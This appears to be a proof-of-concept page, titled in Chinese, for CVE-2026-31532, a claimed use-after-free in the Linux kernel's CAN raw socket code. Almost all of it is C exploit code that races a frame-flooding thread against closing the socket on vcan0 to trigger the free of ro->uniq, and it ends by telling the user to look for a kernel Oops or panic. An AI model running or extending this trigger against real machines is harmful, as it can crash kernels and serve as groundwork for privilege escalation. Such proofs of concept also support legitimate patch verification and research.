CVE-2026-31532 Linux内核CAN raw释放后重用漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/can.h> #include <linux/can/raw.h> #include <net/if.h> #include <sys/ioctl.h> #include <pthread.h> // Vulnerability Proof of Concept for CVE-2026-31532 // Description: Triggers the race condition between raw_release() and raw_rcv() // to cause a Use-After-Free on ro->uniq. int s; struct sockaddr_can addr; struct ifreq ifr; void *trigger_rcv(void *arg) { struct can_frame frame; int nbytes; // Setup frame to trigger raw_rcv frame.can_id = 0x123; frame.can_dlc = 8; memset(frame.data, 'A', 8); while (1) { nbytes = write(s, &frame, sizeof(struct can_frame)); if (nbytes < 0) break; // Socket likely closed usleep(100); // Adjust timing to hit the window } return NULL; } int main() { pthread_t tid; // Create CAN raw socket if ((s = socket(PF_CAN, SOCK_RAW, CAN_RAW)) < 0) { perror("Error while creating socket"); return 1; } strcpy(ifr.ifr_name, "vcan0" ); ioctl(s, SIOCGIFINDEX, &ifr); addr.can_family = AF_CAN; addr.can_ifindex = ifr.ifr_ifindex; if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("Error in bind"); return 1; } // Start thread to flood packets (triggering raw_rcv) pthread_create(&tid, NULL, trigger_rcv, NULL); // Main thread rapidly closes socket (triggering raw_release) // This attempts to free ro->uniq while RCU callbacks are pending sleep(1); close(s); pthread_join(tid, NULL); printf("PoC execution finished. Check kernel logs for Oops/Panic.\n"); return 0; }